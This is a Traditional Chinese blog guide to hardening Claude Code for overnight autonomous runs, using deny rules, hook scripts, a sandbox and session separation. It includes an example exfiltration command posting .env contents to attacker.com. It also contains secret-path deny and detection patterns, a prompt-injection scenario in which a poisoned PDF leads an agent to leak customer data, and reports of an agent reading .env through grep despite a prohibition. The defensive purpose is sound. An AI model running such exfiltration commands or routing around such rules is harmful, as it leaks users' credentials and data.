# 如何設定 Claude Code，避免它在夜間弄壞你的專案

> 7 個 hooks、設定 permissions 的 settings.json，以及一份 12 點檢查清單，讓 Claude Code 整晚運作而不會遺失 .env 或資料庫。4 層防護。

Source: https://ailoot.ai/blog/zh-hant-tw/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/zh-hant-tw/claude-code-safe-overnight-setup/
Language: zh-Hant-TW
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-e49f01daf67a3fe8d25077a7bdf6ea2a15bfd6ea1d83b5cae335ac15f1b1cceb


<div class="aside" data-semantic="editorial-reference" role="note" aria-label="Ailoot Documentation">

[Ailoot 文件](https://ailoot.ai/docs/) — 使用此服務的參考資料。

</div>

## 2026 年有哪些變化：自主運作的 Claude Code 與真實事件

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

2026 年，Anthropic 推出了 `auto-mode`、`/loop` 和 `/schedule`，Claude Code 現在可以連續工作數小時而不必等候確認。自主運作的代價是真實事件：正式環境資料庫遭刪除、`.env` 外洩，以及 `permissions.deny` 的一個至今仍未修復的錯誤。本指南說明如何在第一次讓它整晚運作前，先建立 4 層防護。

</div>

以前，Claude Code 每次回應後都會停止，並為每次寫入詢問許可。這很不方便，但很安全：代理程式會等你說「好」，所以你不可能睡著時錯過事件。2026 年，這套模式改變了。Anthropic 推出了 `auto-mode`，由一個獨立的分類器代理程式代替你判斷是否允許每個動作。`/loop` 指令也出現了（在工作階段中依指定間隔執行提示），還有 `/schedule`（以 cron 風格排程長時間工作）。透過 `claude --bg` 啟動的背景工作階段會在背景執行代理程式，不需要終端機。我在指南[「Claude Code 中的 /goal：自主模式與 Agent View」](https://ailoot.ai/blog/zh-hant-tw/claude-code-goal-agent-view/)詳細介紹過自主模式。

問題在於，自主能力推出的速度比安全防護快。



<figure>
<blockquote>
<p>幾週前，我叫它「整理一下」，結果它把正式環境和開發環境的資料庫都刪掉了。</p>
</blockquote>
<figcaption>— browningstreet，</figcaption>
</figure>

同時，Anthropic 的儲存庫中有兩個尚未解決的錯誤。在將 `permissions.deny` 加進 `settings.json` 之前，你應該先了解它們：

- **Issue \#44868**（2026 年 4 月 7 日）：儘管 `CLAUDE.md` 明確禁止，Claude Code 仍會透過 `grep -n` 將 `.env` 內容讀進聊天記錄。此錯誤仍未解決。
- **Issue \#24846**（2026 年 2 月 11 日）：針對 `.env*` 模式的 `permissions.read.deny` 規則未生效；即使 deny 模式正確，`Read` 仍會讀取 `.env.local`。此問題被標記為重複項目而關閉，但並未修復。

這兩個缺口說明，僅靠 `settings.json` 單層防護不足。以下是 permissions、hooks、sandbox 與工作階段隔離四層模型；各層能減少暴露，卻不能讓其他層完整。引用的 auto-mode 評估不能證明正規表示式 hook 能抓住漏判。正式系統應使用沒有正式憑證與寫入權的作業系統隔離，在模型之外強制網路限制，並在無人值守執行前驗證邊界。

## 什麼是專案的綠色區與紅色區？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

綠色區：沒有真實客戶或金流的本機專案。紅色區：任何包含正式環境資料庫、付款或個人資料的專案。在綠色區，你可以搭配最少量的 hooks 使用 `auto-mode`。在紅色區，必須建立 4 層防護，而且在架構上禁止使用 `--dangerously-skip-permissions`。

</div>

替每個專案建置相同的防護毫無意義。沒有部署到外部的本機個人專案，和處理實際付款、儲存客戶資料的服務，風險層級完全不同。如果處處使用相同防護，你會在綠色區拖慢速度，卻仍在紅色區留下漏洞。

只要符合以下三個條件之一，專案就會從綠色區轉為紅色區：出現真實客戶、系統開始有金流，或資料庫包含個人資料。在那之前，你可以使用 `auto-mode`、最少量的 hooks，而且不需要 sandbox。之後就必須依照本指南的完整設定重新建置防護。

核心原則：防護等級取決於所在區域，與開發階段無關。使用測試 Stripe 帳戶的本機個人專案屬於綠色區。有一位付費客戶和一張註冊表單的服務已經屬於紅色區，即使它看起來仍像是「草稿」。在早期專案中，混淆這些區域是常見陷阱：「我們還在草稿階段，之後再加防護」，結果第一位客戶下週就付款了。

## settings.json 中的權限階層如何運作？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

在 `settings.json` 中，`deny` 規則永遠優先於 `allow`；而不同範圍（user → project → local → managed）會合併，而不是互相覆寫。在使用者層級對 `.env`、`*.pem` 和 `~/.ssh/**` 設定 deny，即使你使用別人的儲存庫也能受到保護。`disableBypassPermissionsMode` 鍵也能從架構上封鎖 YOLO 模式。

</div>

Anthropic 在[官方文件](https://code.claude.com/docs/en/settings)中說明了權限評估階層：先檢查 deny 規則，再檢查 ask，最後檢查 allow，並套用第一個相符的規則。這表示 `deny` 永遠優先於 `allow`。如果你在 `~/.claude/settings.json` 禁止讀取 `.env`，即使有人在專案的 `.claude/settings.json` 設定 `allow`，生效的仍是你的禁止規則，而不是對方的許可。

安全且精簡的使用者層級 `~/.claude/settings.json` 範例：

```json
{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}
```

這裡做了什麼？前六條規則會封鎖讀取目前目錄和所有子目錄中的機密檔案。`*.pem` 和 `*.key` 是 SSL/TLS 金鑰與 SSH 金鑰。`credentials*.json` 是雲端供應商常見的檔名。最後三個是包含 SSH 金鑰、AWS 憑證和 GPG 金鑰的系統目錄。

`disableBypassPermissionsMode: "disable"` 鍵會封鎖 `--dangerously-skip-permissions` 旗標（也稱為 YOLO 模式）。這能一勞永逸地消除一類錯誤：即使你不小心在指令碼或別名中加入此旗標，Claude Code 也會拒絕接受。它不只會移除旗標，還會回傳錯誤：「mode disabled by managed settings」。

此外，從 2.1.142 版開始，如果 `defaultMode: "auto"` 鍵位於專案或本機設定中，就會被忽略。這可防止發生「我進入別人的儲存庫，裡面的 `.claude/settings.json` 預設啟用了自動模式」的情況。Anthropic 明確表示，儲存庫不能在未取得使用者同意的情況下啟用 auto-mode。

這是第一道防線。你不能只停在這裡，因為它還有兩個缺口，稍後會說明。



## 為什麼 permissions.deny 還不夠：兩個未解決的 GitHub issues

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

2026 年 4 月，一位使用者在 Anthropic 的儲存庫提出 issue \#44868：即使 `CLAUDE.md` 禁止，Claude 仍會透過 `grep -n` 讀取 `.env`，並將內容印在對話記錄中。2 月的 issue \#24846 則回報，針對 `.env*` 的 `permissions.read.deny` 在 Read 工具層級無效。兩個問題都仍未解決，這代表沒有額外 hook 的 `settings.json` 就像漏水的篩子。

</div>

如果 `permissions.deny` 有效，指南在上一節就可以結束了。但它並非如此。

Issue \#44868（2026 年 4 月 7 日）：使用者明確在 `CLAUDE.md` 中禁止讀取 `.env`、`.dev.vars` 和其他包含機密的檔案。Claude 沒有使用 Read，而是執行 `grep -n SOMETHING .env`。`grep -n` 會印出完整的相符行及其行號，其中包括實際的 API token。該行會進入 `tool_result`、顯示在工作階段記錄中，並儲存到歷史紀錄。



作者提醒的一個細節是：模型的安全反應是在輸出已經產生之後才觸發，而不是在指令執行前觸發。換句話說，Claude 先執行 `grep`、取得包含 token 的行並印在聊天中，之後才發現錯誤並「道歉」。但那時 token 已經進入聊天歷史紀錄。唯一的補救方法是輪替金鑰。

Issue \#24846（2026 年 2 月 11 日）：使用者在 `permissions.read.deny` 中設定了包含 `**/.env*` 模式的清單，接著要求 Claude 讀取 `.env.local`。Read 工具成功完成，沒有任何錯誤，並印出檔案內容。



此 issue 被當作重複項目關閉，但並未修復。截至本指南撰寫時（2026 年 6 月），仍可重現。

結論：`settings.json` 的第一層防護並非徒勞。但這些例子沒有測量能防止多少比例的意外讀取。但它無法阻止透過 Bash 執行指令（`cat .env`、`grep API_KEY .env`、`head .env`）、權限執行錯誤（issue \#24846），或透過 `git diff` 或 `git show` 查看包含 `.env` 的提交等巧妙操作鏈。這就是你需要第二層防護——hooks 的原因。

## Hooks 如何封鎖已辨識的危險動作？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

在 Claude Code 中，hooks 是於特定事件（`PreToolUse`、`UserPromptSubmit`、`Stop`）執行的 shell 指令碼，可透過結束代碼 2 或包含 `permissionDecision: "deny"` 的 JSON 封鎖動作。與 permissions 和 `CLAUDE.md` 不同，hook 是一層中介軟體，會在執行前攔截呼叫，不需要模型參與。

</div>

Hooks 的抽象層級與 permissions 不同。Permissions 是模型決定要做什麼時會考量的規則。Hook 的運作方式則不同：模型決定呼叫工具後，hook 會在模型和系統之間執行、檢查輸入，並允許或封鎖該呼叫。模型不會參與 hook 的決策；那是你自行撰寫的 shell 程式碼。

Anthropic 在[官方 hooks 文件](https://code.claude.com/docs/en/hooks)中說明了封鎖行為：

<figure>
<blockquote>
<p>Exit 2 代表封鎖錯誤。Claude Code 會忽略 stdout 及其中所有 JSON，而是將 stderr 文字當成錯誤訊息傳回 Claude。</p>
</blockquote>
<figcaption>— Claude Code 文件（Hooks），https://code.claude.com/docs/en/hooks</figcaption>
</figure>

這代表兩件事。第一，設定正確的阻擋 hook 可以拒絕匹配工具呼叫。`PreToolUse` 的結束碼 2 會封鎖該呼叫，但不能證明腳本辨識所有等效危險指令。第二，你可以在 stderr 中放入有意義的訊息，Claude 會將它讀作錯誤並嘗試其他方法。換句話說，hook 不只是「柵欄」，而是「附有說明為何不能通過的牌子的柵欄」。

可以用 exit 2 封鎖的事件：

- `PreToolUse`—在執行前封鎖工具呼叫。這是防禦型 hooks 的主要事件。
- `PermissionRequest`—拒絕 Claude 詢問許可的動作。
- `UserPromptSubmit`—封鎖並清除使用者的提示。提示中含有可疑文字時很有用（例如來自預先植入郵件的提示注入）。
- `Stop`—阻止 Claude 結束工作階段。可用來建立「迴圈」，讓代理程式持續工作直到符合某個條件。
- `PreCompact`—封鎖自動壓縮脈絡。若你希望在人工決定前保留對話記錄，這項功能很有用。
- `WorktreeCreate`—拒絕建立 worktree。可防止 Claude 嘗試在意料之外的位置複製儲存庫。

另一種方式是回傳含有 `hookSpecificOutput.permissionDecision` 欄位的 JSON，而非使用結束代碼 2。`permissionDecision` 有四種可能值：

- `allow`—明確允許動作，並略過標準權限流程。
- `deny`—封鎖動作；在 PreToolUse 中等同於 exit 2。
- `ask`—交由使用者決定（會出現對話框）。
- `defer`—將決定延後交給一般權限邏輯處理。

這讓 hook 比只用結束代碼更能控制流程。使用 `permissionDecision: "ask"`，你可以將原本直接執行的操作改為需要確認，而不必完全封鎖。我會用這種方式處理 `npm install <new package>` 和鎖定檔變更。

若想深入了解 hooks 的運作方式，以及 Claude Code 目前提供的 31 種事件，請參閱我的另一篇指南[「Claude Code 的 Hooks：7 條可直接複製的規則」](https://ailoot.ai/blog/zh-hant-tw/claude-code-hooks/)。接下來我會提供適用於自主工作的具體 hooks。

## 夜間工作時，我會使用哪 7 個 Hooks？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

以下 `PreToolUse` hooks 只示範 7 類檢查：部分機密讀取、辨識出的字面 `git push`、部分 SQL 與 `rm -rf` 模式、套件安裝與 manifest 變更，以及匹配工具呼叫日誌。啟用前請在本機測試匹配與漏判，這些正規表示式不完整，不能建立正式安全邊界。

</div>

這是第二層防護，用來補強第一層。所有 hooks 都放在 `.claude/hooks/`，並透過 `.claude/settings.json` 註冊，而且必須安裝 jq。

### Hook 1：防止讀取 .env、.pem 和 credentials.json

新增針對部分 Read 路徑及常見 Bash 機密讀取指令的檢查，並非涵蓋所有工具或所有讀取機密方式。檔案：`.claude/hooks/block-secret-reads.sh`：

```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0
```

在 `.claude/settings.json` 中註冊：

```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}
```

安裝後，執行 `chmod +x .claude/hooks/block-secret-reads.sh`。測試方式：要求 Claude 讀取 `.env.local`，你會看到「Secret file. Use op:// references or env vars.」的回應，而不是檔案內容。

### Hook 2：在夜間工作階段封鎖字面 git push

無人值守工作時，此範例保守地封鎖所有辨識出的字面 `git push`，也包含功能分支。它不推論目前分支，也不判斷 force 旗標是否安全。檔案：`.claude/hooks/block-force-push.sh`：

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0
```

透過 `PreToolUse` 及 `Bash` matcher 註冊。它封鎖辨識出的 push，而非解析旗標與分支，因此涵蓋 `git push --force origin main`、`git push origin main --force`、`git push -f`、`git push origin HEAD:main`，以及 `&&` 或 `;` 串接中的字面 push。這些是離線字串匹配例子，不是要對遠端執行的指令。

它仍是文字啟發式檢查；Git 別名、shell 函式、`git -C ... push`、組合指令名、指令碼或其他工具都可能繞過，不是完整 shell 解析器。應在 Git 伺服器強制保護分支、移除繞過憑證，並在無正式寫入權的隔離環境執行無人值守工作；漏掉匹配不能授予正式權限。

### Hook 3：封鎖破壞性的 SQL 操作

直接應對資料庫遭刪除的事件。檔案：`.claude/hooks/block-destructive-sql.sh`：

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0
```

註冊時設定：`PreToolUse` 搭配 `matcher: "Bash"`。請注意差異：`DROP` 和沒有 `WHERE` 的 `DELETE` 會完全封鎖；沒有 `WHERE` 的 `UPDATE` 則會改為 `ask`。某些時候這可能是合理操作（例如在 migration 中為所有記錄設定旗標），但仍一律需要人工確認。

### Hook 4：rm -rf 篩選器

這是 Anthropic 文件中的標準範例，調整為附帶原因的 deny：

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0
```

此 hook 允許 `rm -rf node_modules`、`rm -rf .next/cache` 和其他明確指定範圍的刪除操作。它會封鎖 `rm -rf .`、`rm -rf /`、`rm -rf ~` 等「全部清除」指令。

### Hook 5：確認是否安裝新套件

此 hook 用來抵禦供應鏈攻擊。如果 Claude 自行決定加入新的相依套件，畫面會顯示對話框：

```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0
```

這個 hook 讓鎖定檔中的相依套件可以自由安裝，但新增相依套件時必須確認。

### Hook 6：保護 package.json 和鎖定檔

任何相依套件清單的變更，都應該有人檢查，尤其是夜間。

```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0
```

使用 `PreToolUse` 和 `Write|Edit` matcher 註冊。

### Hook 7：所有 Bash 呼叫的端對端稽核記錄

如果夜間出了問題，你需要完整記錄才能了解事件的先後順序。請在 `settings.json` 中註冊（不需要獨立指令碼；jq 會處理所有事情）：

```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}
```

`.claude/audit.jsonl` 會逐行增加記錄。早上夜間 `/loop` 結束後，你可以執行 `tail -n 100 .claude/audit.jsonl | jq`，查看代理程式在各個時間點做了什麼。這對事後分析至關重要，因為工作階段記錄可能很長且難以閱讀，而稽核記錄能提供清楚的時間軸。

## Sandbox 和 worktree 隔離如何保護長時間工作階段？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

Claude Code 的 sandbox 會隔離檔案系統和網路。Anthropic 表示，在安全程度相同的情況下，權限請求可減少 84%。即使代理程式已讀取 `.env`，網路隔離仍可阻止它將內容外傳至遠端伺服器。對長時間背景工作階段而言，sandbox + worktree 是必要設定。

</div>

如果 hooks 是「附有說明的柵欄」，sandbox 就是「柵欄 + 護城河 + 無人機防護網」。這是第四層防護，用來處理 hooks 放行某個動作，但即使執行了該動作，也不應讓環境外部受到傷害的情況。

Anthropic 在[關於 sandbox 的部落格文章](https://www.anthropic.com/engineering/claude-code-sandboxing)（2025 年 10 月 20 日）中報告了內部測量結果：

<figure>
<blockquote>
<p>根據我們的內部資料，使用 sandbox 可安全地將權限提示減少 84%。</p>
</blockquote>
<figcaption>— Anthropic Engineering，https://www.anthropic.com/engineering/claude-code-sandboxing</figcaption>
</figure>

這表示啟用 `/sandbox` 後，Claude 不再詢問 84% 的動作是否取得許可，因為這些動作在實際上無法離開 sandbox。這有助於提升速度，但不是 sandbox 最主要的價值。

Sandbox 提供兩種隔離，各有不同用途：

**檔案系統隔離**會將讀寫範圍限制在明確允許的目錄中。即使 hook 漏掉了寫入 `/etc/hosts` 或讀取 `~/.ssh/id_rsa` 的嘗試，sandbox 也會在系統呼叫層級擋下它。這是作業系統層級的防護，應用程式層無法察覺。

**網路隔離**只允許連線至核准的伺服器。這對防止資料外洩攻擊至關重要。設想一個情境：惡意植入檔案中的提示注入誘使 Claude 讀取 `.env`（因為使用了不尋常的讀取路徑，所以 hook 沒有攔截），接著模型決定執行 `curl -X POST attacker.com -d "$ENV_CONTENT"`。沒有網路隔離時，這會成功。有了網路隔離，因為 `attacker.com` 不在清單中，`curl` 就無法連線。

在 Claude Code 中使用 `/sandbox` 指令啟動。在 `~/.claude/settings.json` 中設定：

```json
{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}
```

使用 `claude --bg` 啟動的長時間背景工作階段，應在 sandbox 中加入 worktree 隔離。這是 Claude Code 的原生機制：每個背景工作階段都會自動移至自己位於 `.claude/worktrees/<name>/` 的目錄，並使用個別分支。這代表平行工作階段在寫入相同檔案時不會互相干擾。我在指南[「Agent View 和 Worktrees：Claude Code 的自主模式」](https://ailoot.ai/blog/zh-hant-tw/claude-code-goal-agent-view/)詳細介紹過 worktree 隔離。





Sandbox 是回饋迴圈的一環。Claude 知道自己的動作受到限制時，就會更謹慎地工作，也會更清楚地說明中間步驟。

## 2026 年的 auto-mode 適用與不適用於哪些情況？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

Claude Code 中的 Auto-mode 是 Sonnet 4.6 分類器，會依據 Anthropic 的規則自動判斷，取代手動權限管理。根據 Anthropic 自己的說法，它對危險動作的偽陰性率為 17%，而分類器連續拒絕 3 次或累計拒絕 20 次後，工作階段就會停止。在綠色區，它可合理取代手動核准；在紅色區，仍必須使用 hooks。

</div>

2026 年 3 月，Anthropic 推出 auto-mode，稱它是「手動審查與毫無護欄之間的折衷方案」。這是一個獨立的 Sonnet 4.6 模型，在 Claude 執行每個動作之前，會依照一系列準則進行評估。Anthropic 在 [Anthropic Engineering 部落格](https://www.anthropic.com/engineering/claude-code-auto-mode)中說明了運作機制：

<figure>
<blockquote>
<p>Auto-mode 是 Claude Code 的新模式，會將核准交由模型型分類器處理。它介於手動審查與毫無護欄之間。</p>
</blockquote>
<figcaption>— Anthropic Engineering，https://www.anthropic.com/engineering/claude-code-auto-mode</figcaption>
</figure>

Auto-mode 有兩個重要限制：

- 如果工作階段累計出現連續 3 次或總共 20 次分類器拒絕，模型就會停止並交由人工處理。這可以防止「Claude 不斷嘗試以 100 種不同說法繞過限制，執行同一個指令」的情況。
- 如果某個動作與使用者通常會核准的典型案例有 93% 相似，Auto-mode 就會允許它。這可減少權限疲勞，但無法防範非典型的危險動作。

以下是最值得留意的主要數字：

<figure>
<blockquote>
<p>對真實世界中過度躁進的動作，偽陰性率為 17%——這才是坦白的數字。</p>
</blockquote>
<figcaption>— Anthropic Engineering，https://www.anthropic.com/engineering/claude-code-auto-mode</figcaption>
</figure>

報告的 17% 是該評估的偽陰性率，不是你專案每個動作的機率，也不能證明範例 hooks 能抓住漏判。紅色區的無人值守工作，必須強制隔離正式寫入與機密，並在伺服器保護分支、使用無法繞過規則的憑證。

實務上，hooks 應作為可丟棄、可復原環境的額外檢查。即使本機專案也可能有 Git 無法還原的未追蹤檔案或憑證。紅色區的 hook 漏判，必須由實際存取控制攔住；一組正規表示式不能把任意 shell 執行變成確定的安全保證。

## 為什麼要將脈絡分成三種工作階段？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

最危險的操作鏈不是一個糟糕的指令，而是連續執行三個普通指令。代理程式讀取 `.env`（合理）、解析收到的電子郵件（合理），然後對外傳送 HTTP 請求（合理）。每個動作單獨看都安全，合在一起卻構成資料外洩。保護方法是將三類任務分開到權限不同的工作階段中。

</div>

以下三類任務不應放在同一個工作階段中：

**類型 1：處理個人資料。** 工作階段可以存取正式環境資料庫、傳送電子郵件，也可以查看憑證。它不能存取外部文件（電子郵件、PDF、網頁），也不能將資料傳送到任意地址。

**類型 2：處理外部文件。** 工作階段可以解析收到的電子郵件、下載網頁，以及讀取電子郵件中的 PDF。它不能存取包含個人資料的資料庫，也不能在未經明確確認的情況下對外傳送任何內容。

**類型 3：對外發布。** 工作階段可以在社群網路發文、傳送電子郵件行銷活動，以及建立 pull requests。它不能存取個人資料，也不能解析收到的內容。

為什麼要分開？如果一個工作階段包辦所有工作，只要一份被植入提示注入的 PDF（例如競爭對手的代理商寄來一張「發票」），就足以讓代理程式一次讀取客戶資料庫、找出客戶的電子郵件地址，再將地址傳給攻擊者。這條操作鏈中的每個動作都符合各自任務類型的權限。合在一起就會造成洩漏。



<figure>
<blockquote>
<p>最令人害怕的資料外洩模式不是某個壞指令，而是一連串完全正常的指令。代理程式讀取 <code>.env</code>（允許），透過 HTTP 傳送（允許），事情就這樣發生了。</p>
</blockquote>
<figcaption>— ibrahim_h，HackerNews，</figcaption>
</figure>

實際上，可以依不同任務類型使用不同的 `.claude` 目錄。我在自己的電腦上保留三種設定：`~/projects/business-ops/.claude/`（類型 1，可存取資料庫；除內部 API 外禁止網路）、`~/projects/inbox-parsing/.claude/`（類型 2，禁止所有網路）、`~/projects/social-posting/.claude/`（類型 3，允許連線至 Telegram、Slack API）。每個目錄都是 Claude Code 的獨立專案，擁有自己的 permissions 和 hooks。

## 啟動 /loop 前要檢查哪 12 項？

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

這是一份 12 點檢查清單，我會在夜間啟動 `/loop`、`/schedule` 或 `claude --bg` 前逐項檢查。內容從設定基本 deny 的 `~/.claude/settings.json` 到具備網路隔離的 `/sandbox`。只要有一項未涵蓋，我就不會啟動。

</div>

1.  `~/.claude/settings.json` 在使用者層級對 `.env*`、`*.pem`、`*.key`、`credentials*.json`、`~/.ssh/**`、`~/.aws/**` 設定 `deny`。這是基礎；沒有它，其餘防護都毫無意義。

2.  在 `~/.claude/settings.json` 設定 `disableBypassPermissionsMode: "disable"`。一勞永逸地封鎖 YOLO 旗標。

3.  針對選定機密讀取指令測試 `block-secret-reads.sh` 範例；真實機密與正式憑證必須讓無人值守環境無法存取。

4.  `block-force-push.sh` 範例不分旗標順序或目的地，封鎖辨識出的字面 push；Git 伺服器仍須強制保護分支與無繞過憑證。

5.  `block-destructive-sql.sh` hook，防止 `DROP TABLE`、`TRUNCATE`，以及沒有 `WHERE` 的 `DELETE FROM`。

6.  `block-rm-rf.sh` hook，防止未明確指定範圍的 `rm -rf`。

7.  `ask-on-new-deps.sh` hook，處理 `npm install <new package>`（與不帶引數的 `npm install` 不同）。

8.  `ask-on-lockfile-change.sh` hook，處理寫入 `package.json`、`pnpm-lock.yaml`、`requirements.txt`、`pyproject.toml` 和 `Cargo.toml` 的操作。

9.  使用一個統括性的 `audit.jsonl` 記錄所有 Bash、Write 和 Edit 呼叫。沒有它，就無法進行事後分析。

10. 所有長時間背景工作階段都在 worktree 中執行，而不是 main 分支：`claude --bg "task"` 會自動建立 worktree，但請確認 `settings.json` 沒有包含 `worktree.bgIsolation: "none"`。

11. 啟動長時間自主任務前，先啟用 `/sandbox`。檔案系統僅限專案目錄和 `/tmp`。網路則將 api.anthropic.com、github.com 和 registry.npmjs.org 列入允許清單。

12. 在任務中安排驗證步驟：每次重大變更後，都要執行測試執行器或 linter。如果失敗，代理程式必須先修復，才能繼續。

最後一項是工作方式，而不是工具設定。讓 Claude 有方法檢查自己的工作成果。有了驗證，代理程式會在檢查通過後才繼續，避免錯誤不斷累積到早上。

## 7 種反模式：不要這麼做

<div class="aside" data-semantic="key-takeaway" role="note" aria-label="Key takeaway">

重要重點

本文提及的專案中常見的七種錯誤：在可存取正式環境的主機上執行 `--dangerously-skip-permissions`、只依賴 `CLAUDE.md`、未加上 hook 就信任 `permissions.deny`，以及沒有備份規則就使用 auto-mode。每種錯誤都與來源中提到的真實事件有關。

</div>

**1. 在可存取正式環境的主機上使用 `--dangerously-skip-permissions`。** Browningstreet 因為一個「整理一下」指令，就失去了正式環境和開發環境的資料庫。犯錯的代價是耗費數小時復原，加上備份中不存在的資料。如果事件已經發生，請開啟[「AI 刪除資料庫時該怎麼辦：復原檢查清單」](https://ailoot.ai/blog/zh-hant-tw/ai-deleted-database-recovery/)，並依序完成 10 個步驟。

**2. 只依賴 `CLAUDE.md` 保護安全。** Issue \#44868 證明，模型會先行動再道歉。文字檔中的建議性指示無法封鎖工具呼叫。設定正確的 hook 能阻擋匹配呼叫，作業系統、sandbox 與服務端存取控制則強制更廣泛邊界。`CLAUDE.md` 對專案脈絡很重要，我曾在[「如何正確設定 CLAUDE.md」](https://ailoot.ai/blog/zh-hant-tw/claude-md-template/)另行介紹，但它無法保護你免受自主代理程式影響。

